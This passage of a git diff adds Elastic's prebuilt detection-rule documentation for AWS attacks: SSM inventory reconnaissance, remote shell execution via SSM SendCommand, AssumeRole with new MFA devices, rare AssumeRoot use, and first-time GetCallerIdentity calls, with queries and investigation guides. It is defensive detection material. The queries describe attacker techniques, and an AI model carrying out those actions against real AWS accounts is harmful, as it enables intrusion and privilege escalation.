+*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SSM Inventory Reconnaissance by Rare User* + + +AWS Systems Manager (SSM) Inventory provides detailed information about managed EC2 instances, including installed +applications, network configurations, OS details, and patch compliance status. Threat actors, including Scattered +Spider (LUCR-3), leverage these APIs to discover targets for lateral movement. + +This rule detects the first time a specific user (identified by `cloud.account.id` and `user.name`) accesses SSM +inventory reconnaissance APIs or runs inventory collection commands. These APIs are typically used by automation +systems, not interactively by humans. + + +*Possible investigation steps* + + +- **Verify User Identity**: Check `aws.cloudtrail.user_identity.arn` or `user.name` to determine who performed the action. + - Is this a service account, automation role, or human user? + - Does this user typically interact with SSM or EC2 infrastructure? +- **Review Source Context**: Examine `source.ip` and `source.geo` to determine where the request originated. + - Does the source IP match expected locations for this user? + - Is the source IP from an EC2 instance (potentially compromised) or an external location? +- **Analyze User Agent**: Check `user_agent.original` for suspicious values. + - AWS CLI, SDK, or CloudShell usage from unexpected users is suspicious. + - Custom or unusual user agents may indicate attacker tooling. +- **Correlate with Other Events**: Look for other reconnaissance or lateral movement activity from the same user. + - Check for `StartSession`, `SendCommand`, or other SSM execution APIs. + - Look for `GetCallerIdentity` calls which often precede reconnaissance. +- **Review Timeline**: Investigate activity 30 minutes before and after this event. + - Was there an initial access event (e.g., console login, `AssumeRole`)? + - Did the user proceed to access secrets or attempt lateral movement? + + +*False positive analysis* + + +- Automation and Monitoring: Legitimate monitoring tools, asset management systems, or compliance scanners may query SSM inventory regularly. These should use dedicated service accounts. +- Administrator Activity: Cloud administrators may occasionally query inventory for troubleshooting. Verify with the user whether this was intentional. +- CI/CD Pipelines: Deployment pipelines may check patch compliance before deployments. +- SSM Associations: The `AWS-GatherSoftwareInventory` document is normally deployed via IaC tools (Terraform, CloudFormation) or the AWS Console during initial setup. Interactive `CreateAssociation` calls outside of these contexts warrant investigation. + + +*Response and remediation* + + +- Immediate Verification: Contact the user to verify whether they performed this action intentionally. +- Review Permissions: If unauthorized, review and restrict the user's IAM permissions following least privilege. +- Investigate Credential Compromise: If the user did not perform this action, treat their credentials as compromised. + - Rotate access keys and session tokens. + - Review recent activity for data exfiltration or privilege escalation. +- Enhanced Monitoring: Add the user or role to enhanced monitoring if suspicious activity is confirmed. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "ssm.amazonaws.com" + and ( + event.action: ("GetInventory" or "GetInventorySchema" or "ListInventoryEntries" or "DescribeInstancePatches" or "ListCommands") + or (event.action: "CreateAssociation" + and aws.cloudtrail.request_parameters: *AWS-GatherSoftwareInventory*) + ) + and not aws.cloudtrail.user_identity.type : "AWSService" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ +* Technique: +** Name: Cloud Service Dashboard +** ID: T1538 +** Reference URL: https://attack.mitre.org/techniques/T1538/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ssm-sendcommand-with-run-shell-command-parameters.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ssm-sendcommand-with-run-shell-command-parameters.asciidoc new file mode 100644 index 0000000000..4e150ee598 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ssm-sendcommand-with-run-shell-command-parameters.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-20-aws-ssm-sendcommand-with-run-shell-command-parameters]] +=== AWS SSM `SendCommand` with Run Shell Command Parameters + +Identifies the use of the AWS Systems Manager (SSM) `SendCommand` API with the either `AWS-RunShellScript` or `AWS-RunPowerShellScript` parameters. The `SendCommand` API call allows users to execute commands on EC2 instances using the SSM service. Adversaries may use this technique to execute commands on EC2 instances without the need for SSH or RDP access. This behavior may indicate an adversary attempting to execute commands on an EC2 instance for malicious purposes. This is a [New Terms](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule) rule that only flags when this behavior is observed for the first time on a host in the last 7 days. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc +* https://securitycafe.ro/2023/01/17/aws-post-explitation-with-ssm-sendcommand/ + +*Tags*: + +* Domain: Endpoint +* Domain: Cloud +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AWS SSM `SendCommand` with Run Shell Command Parameters* + + +AWS Systems Manager (SSM) allows remote command execution on EC2 instances via the `SendCommand` API, using scripts like `AWS-RunShellScript` or `AWS-RunPowerShellScript`. Adversaries may exploit this to execute unauthorized commands without direct access. The detection rule identifies unusual command executions by monitoring process activities, flagging first-time occurrences within a week to spot potential threats. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific EC2 instance and the user account associated with the `SendCommand` API call. +- Check the AWS CloudTrail logs for the `SendCommand` event to gather additional context, such as the source IP address, user agent, and any associated IAM roles or policies. +- Investigate the command parameters used in the `SendCommand` API call, focusing on the `commands` field to determine the nature and intent of the executed script. +- Examine the process execution history on the affected host to identify any unusual or unauthorized processes that may have been initiated as a result of the command. +- Assess the recent activity of the user account involved in the alert to identify any other suspicious actions or deviations from normal behavior. +- Verify the integrity and security posture of the affected EC2 instance, checking for any signs of compromise or unauthorized changes. + + +*False positive analysis* + + +- Routine administrative tasks using AWS SSM SendCommand may trigger alerts. Identify and document regular maintenance scripts and exclude them from detection to reduce noise. +- Automated deployment processes often use AWS-RunShellScript or AWS-RunPowerShellScript. Review deployment logs and whitelist these processes if they are verified as non-threatening. +- Monitoring or compliance checks that utilize SSM for gathering system information can be mistaken for malicious activity. Confirm these activities with the relevant teams and create exceptions for known benign operations. +- Scheduled tasks or cron jobs that execute commands via SSM should be reviewed. If they are part of standard operations, consider excluding them from the rule to prevent false positives. +- Development and testing environments frequently use SSM for testing scripts. Ensure these environments are well-documented and apply exceptions to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected EC2 instance from the network to prevent further unauthorized command execution and potential lateral movement. +- Review the AWS CloudTrail logs to identify the source of the `SendCommand` API call, including the IAM user or role that initiated the command, and assess whether the access was legitimate or compromised. +- Revoke or rotate the credentials of the IAM user or role involved in the suspicious activity to prevent further unauthorized access. +- Conduct a thorough examination of the affected EC2 instance to identify any unauthorized changes or installed malware, and restore the instance from a known good backup if necessary. +- Implement stricter IAM policies and permissions to limit the use of the `SendCommand` API to only trusted users and roles, ensuring the principle of least privilege is enforced. +- Enable multi-factor authentication (MFA) for all IAM users with permissions to execute commands on EC2 instances to add an additional layer of security. +- Escalate the incident to the security operations team for further investigation and to determine if additional instances or resources have been compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category: "process" and event.type: "start" and process.name: "aws" +and ( + host.os.type: ("windows" or "macos") + or ( + host.os.type: "linux" + and event.action: ("exec" or "exec_event" or "executed" or "process_started") + ) +) +and process.args: ( + "send-command" and "--parameters" and commands=* + and ("AWS-RunShellScript" or "AWS-RunPowerShellScript") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sts-assumerole-with-new-mfa-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sts-assumerole-with-new-mfa-device.asciidoc new file mode 100644 index 0000000000..2aabb9bcb5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sts-assumerole-with-new-mfa-device.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-20-aws-sts-assumerole-with-new-mfa-device]] +=== AWS STS AssumeRole with New MFA Device + +Identifies when a user has assumed a role using a new MFA device. Users can assume a role to obtain temporary credentials and access AWS resources using the AssumeRole API of AWS Security Token Service (STS). While a new MFA device is not always indicative of malicious behavior it should be verified as adversaries can use this technique for persistence and privilege escalation. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html +* https://github.com/RhinoSecurityLabs/cloudgoat/blob/d5863b80afd082d853f2e8df1955c6393695a4da/scenarios/iam_privesc_by_key_rotation/README.md + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Persistence +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS AssumeRole with New MFA Device* + + +AWS Security Token Service (STS) allows users to assume roles and gain temporary credentials for accessing AWS resources. This process can involve Multi-Factor Authentication (MFA) for enhanced security. However, adversaries may exploit new MFA devices to maintain persistence or escalate privileges. The detection rule identifies successful role assumptions with new MFA devices, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the event details in AWS CloudTrail to identify the user who assumed the role, focusing on the `user.id` or `aws.cloudtrail.user_identity.arn` field to determine if the user is legitimate and authorized to use the new MFA device. +- Check the serialNumber in `aws.cloudtrail.request_parameters` to verify the registration and legitimacy of the new MFA device associated with the role assumption. +- Investigate the context of the AssumeRole action by examining surrounding events to understand if it was part of a legitimate workflow or an unusual activity. +- Cross-reference with any recent changes in user permissions or MFA device registrations. +- Correlate the event with other logs or alerts to identify any patterns of suspicious behavior, such as multiple role assumptions or changes in MFA devices within a short timeframe. +- Contact the user or relevant team to confirm if the new MFA device registration and role assumption were expected and authorized. + + +*False positive analysis* + + +- New employee onboarding processes may trigger this rule when new MFA devices are issued. To manage this, create exceptions for known onboarding activities by correlating with HR records or onboarding schedules. +- Routine device replacements or upgrades can result in new MFA devices being registered. Implement a process to track and verify device changes through IT support tickets or asset management systems. +- Users with multiple roles or responsibilities might frequently switch roles using different MFA devices. Establish a baseline of normal behavior for these users and create exceptions for their typical activity patterns. +- Organizational policy changes that require MFA updates can lead to multiple new MFA device registrations. Coordinate with security teams to whitelist these events during policy rollout periods. +- Temporary contractors or third-party vendors may use new MFA devices when accessing AWS resources. Ensure that their access is logged and reviewed, and create temporary exceptions for their known access periods. + + +*Response and remediation* + + +- Immediately revoke the temporary credentials associated with the assumed role to prevent unauthorized access to AWS resources. +- Verify the legitimacy of the new MFA device by contacting the user or administrator associated with the role assumption. Confirm whether the device was intentionally registered and used. +- If the new MFA device is determined to be unauthorized, disable or remove it from the user's account to prevent further misuse. +- Conduct a review of recent AWS CloudTrail logs to identify any suspicious activities or patterns associated with the user or role in question, focusing on privilege escalation or lateral movement attempts. +- Escalate the incident to the security operations team for further investigation and to determine if additional containment measures are necessary. +- Implement additional monitoring and alerting for unusual MFA device registrations and role assumptions to enhance detection of similar threats in the future. +- Review and update IAM policies and MFA device management procedures to ensure they align with best practices for security and access control. + +==== Setup + + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:aws.cloudtrail + and event.provider:sts.amazonaws.com + and event.action:(AssumeRole or AssumeRoleWithSAML or AssumeRoleWithWebIdentity) + and event.outcome:success + and aws.cloudtrail.flattened.request_parameters.serialNumber:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sts-assumeroot-by-rare-user-and-member-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sts-assumeroot-by-rare-user-and-member-account.asciidoc new file mode 100644 index 0000000000..b23b42a367 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sts-assumeroot-by-rare-user-and-member-account.asciidoc @@ -0,0 +1,230 @@ +[[prebuilt-rule-8-19-20-aws-sts-assumeroot-by-rare-user-and-member-account]] +=== AWS STS AssumeRoot by Rare User and Member Account + +Identifies when the STS AssumeRoot action is performed by a rare user in AWS. The AssumeRoot action allows users to assume the root member account role, granting elevated but specific permissions based on the task policy specified. Adversaries who have compromised user credentials can use this technique to escalate privileges and gain unauthorized access to AWS resources. This is a New Terms rule that identifies when the STS AssumeRoot action is performed by a user that rarely assumes this role against a specific member account. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoot.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Resources: Investigation Guide +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS AssumeRoot by Rare User and Member Account* + + +AWS STS `AssumeRoot` issues temporary credentials that grant elevated access into a member account, constrained by the +task policy and target policy attached to the request. In normal operations, only a small set of platform, security, or +automation roles should ever need to perform `AssumeRoot`, and typically only against a predictable set of member +accounts. + +This rule is a New Terms rule that detects when a previously unseen combination of calling principal (`aws.cloudtrail.user_identity.arn`) and target member account (`aws.cloudtrail.resources.account_id`) successfully invokes `AssumeRoot`. Activity that matches this pattern may indicate privilege escalation, lateral movement into a new account, abuse of cross-account access paths, or misuse of administrative workflows. + + +*Possible investigation steps* + + +- **Identify the actor and target context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine: + - Whether the caller is an IAM user, federated user, or role. + - Whether this identity is normally used for organization-level administration or automation. + - Inspect `aws.cloudtrail.resources.account_id` and `aws.cloudtrail.recipient_account_id` to identify the affected member account. + - Check `source.address`, `source.geo.*`, and `user_agent.original` to understand where and how the call was made (console, CLI, SDK, automation runner, VPN, corporate IP, etc.). + +- **Understand session, policy, and target details** + - Examine `aws.cloudtrail.request_parameters` for: + - `taskPolicyArn` – which predefined task policy was requested and what category of operations it enables (e.g., investigation, remediation, read-only, or broad admin). + - `targetPrincipal` and/or related target fields – which member account principal is being accessed. + - Any duration or configuration parameters (such as `durationSeconds`) that indicate unusually long-lived sessions. + - In `aws.cloudtrail.response_elements`, review: + - `credentials.accessKeyId` and `credentials.expiration` to confirm that credentials were successfully issued and how long they are valid. + - Any additional response fields that indicate session constraints or failures (if present). + +- **Correlate follow-on activity from the assumed root session** + - Use the temporary access key from `aws.cloudtrail.response_elements.credentials.accessKeyId` to pivot in CloudTrail: + - Search for subsequent events where `aws.cloudtrail.user_identity.access_key_id` matches that key. + - Look for high-impact actions such as: + - IAM changes (`iam:CreateUser`, `iam:AttachRolePolicy`, `iam:PutRolePolicy`, `iam:UpdateAssumeRolePolicy`). + - Guardrail changes (CloudTrail, Security Hub, Config, GuardDuty configuration or detector changes). + - Data-impacting actions (S3 bucket policy changes, RDS/RDS snapshot operations, EFS/RDS delete, secrets reads). + - Correlate with any prior events for the calling identity: + - STS calls that created the session used to invoke `AssumeRoot` (e.g., `AssumeRole`, SSO/identity provider activity). + - Recent IAM policy updates that broadened its ability to perform cross-account administration. + +- **Assess timing and operational alignment** + - Use `@timestamp`, `cloud.region`, and your change calendar to determine: + - Whether the event occurred during a documented maintenance window or deployment. + - Whether the region and account align with the caller’s normal operational scope. + - Compare with other events in the same time window: + - Organization-level changes, new account creation, or migration work. + - Other sensitive operations from the same `source.ip` or principal. + +- **Validate with owners** + - Confirm with: + - Cloud/infra platform teams that normally operate organization-level admin roles. + - Security/IR teams if they were running an investigation workflow that legitimately uses `AssumeRoot`. + - Check whether the use of `AssumeRoot` is documented in CI/CD or automation designs that might have just expanded to this account, explaining the New Terms trigger. + + +*False positive analysis* + + +- **Legitimate administrative cross-account access** + - Platform, security, or central operations teams may use `AssumeRoot` as part of sanctioned workflows for: + - New account onboarding. + - Centralized remediation or investigation. + - Complex deployment or migration tasks. + - If this is the first time a specific engineer or automation role is onboarded to a given member account, the rule will fire once because it is a New Terms rule. Validate and, if appropriate, document this as expected behavior. + +- **Automation and scheduled workflows** + - CI/CD pipelines, organization-wide maintenance jobs, or incident response automation may use `AssumeRoot`: + - Identify automation roles and service principals that legitimately call `AssumeRoot`. + - Tune with rule exceptions based on `aws.cloudtrail.user_identity.arn`, `user_agent.original`, or specific `taskPolicyArn` values used only by trusted workflows. + +If a pattern emerges where specific roles regularly and legitimately assume root into a consistent set of accounts, consider documenting those identities and, if appropriate, creating narrow exceptions — while preserving coverage for new, unexpected combinations. + + +*Response and remediation* + + +- **Contain potentially unauthorized sessions** + - If the activity appears suspicious or unapproved: + - Invalidate the credentials issued by `AssumeRoot` (where supported) or constrain their impact by immediately tightening IAM, SCPs, or network controls in the affected member account. + - Rotate or revoke long-lived access keys associated with the calling principal. + - Temporarily restrict permissions on roles allowed to call `AssumeRoot` until the investigation is complete. + +- **Investigate scope and impact** + - Using CloudTrail: + - Enumerate all actions performed with the `AssumeRoot` session access key and identify: + - Privilege changes (IAM users, roles, policies, permission boundaries, SCPs). + - Changes to logging and security controls (CloudTrail, GuardDuty, Security Hub, Config, firewall/WAF rules). + - Data-impacting operations on high-value services (S3, RDS, DynamoDB, Secrets Manager, KMS). + - Check if similar `AssumeRoot` activity has occurred recently from the same `source.ip`, principal, or member account. + - Engage application, data, and platform owners for the impacted account(s) to: + - Assess potential data exposure, integrity issues, or downtime. + - Determine whether any actions conflict with intended change plans. + +- **Hardening and preventive controls** + - Restrict and monitor `AssumeRoot` usage: + - Limit which IAM roles and identities can call `sts:AssumeRoot`, using IAM conditions (e.g., `aws:PrincipalArn`, `aws:PrincipalOrgID`, `aws:RequestedRegion`). + - Where possible, require strong authentication on the initiating principal (MFA, federated SSO, device posture). + - Add guardrails and observability: + - Use AWS Config, Security Hub, and/or AWS Organizations SCPs to: + - Detect or constrain highly privileged cross-account actions. + - Ensure logging and monitoring services cannot be disabled or modified by assumed sessions without additional friction. + - Ensure `AssumeRoot` activity is included in your SIEM dashboards and investigation playbooks. + +- **Post-incident improvements** + - If activity is confirmed malicious or unsafe: + - Rotate credentials for all involved principals and review recent STS session usage for anomalies. + - Update internal runbooks to clearly define when `AssumeRoot` is allowed, who can perform it, and how it should be documented. + - Refine this rule’s exceptions or tagging strategy so that legitimate, recurring workflows are well-understood, while preserving high-fidelity visibility into new or unexpected `AssumeRoot` behavior. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "sts.amazonaws.com" + and event.action: "AssumeRoot" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Temporary Elevated Cloud Access +** ID: T1548.005 +** Reference URL: https://attack.mitre.org/techniques/T1548/005/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sts-getcalleridentity-api-called-for-the-first-time.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sts-getcalleridentity-api-called-for-the-first-time.asciidoc new file mode 100644 index 0000000000..34ef26eff4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sts-getcalleridentity-api-called-for-the-first-time.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-20-aws-sts-getcalleridentity-api-called-for-the-first-time]] +=== AWS STS GetCallerIdentity API Called for the First Time + +An adversary with access to a set of compromised credentials may attempt to verify that the credentials are valid and determine what account they are using. This rule looks for the first time an identity has called the STS GetCallerIdentity API, which may be an indicator of compromised credentials. A legitimate user would not need to perform this operation as they should know the account they are using. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_GetCallerIdentity.html +* https://www.secureworks.com/research/detecting-the-use-of-stolen-aws-lambda-credentials +* https://detectioninthe.cloud/ttps/discovery/sts_get_caller_identity + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Use Case: Identity and Access Audit +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS GetCallerIdentity API Called for the First Time* + + +AWS Security Token Service (AWS STS) is a service that enables you to request temporary, limited-privilege credentials for users. +The `GetCallerIdentity` API returns details about the IAM user or role owning the credentials used to perform the operation. +No permissions are required to run this operation and the same information is returned even when access is denied. +This rule looks for use of the `GetCallerIdentity` API, excluding the `AssumedRole` identity type as use of `GetCallerIdentity` after assuming a role is common practice. This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule indicating the first time a specific user identity has performed this operation. + + +*Possible investigation steps* + + +- Identify the account and its role in the environment. +- Identify the applications or users that should use this account. +- Investigate other alerts associated with the account during the past 48 hours. +- Investigate abnormal values in the `user_agent.original` field by comparing them with the intended and authorized usage and historical data. Suspicious user agent values include non-SDK, AWS CLI, custom user agents, etc. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences involving other users. +- Contact the account owner and confirm whether they are aware of this activity. +- Considering the source IP address and geolocation of the user who issued the command: + - Do they look normal for the calling user? + - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control? +- Review IAM permission policies for the user identity. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- False positives may occur due to the intended usage of the service. Tuning is needed in order to have higher confidence. Consider adding exceptions — preferably with a combination of user agent and IP address conditions. +- Automation workflows that rely on the results from this API request may also generate false-positives. We recommend adding exceptions related to the `user.id` or `aws.cloudtrail.user_identity.arn` values to ignore these. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. 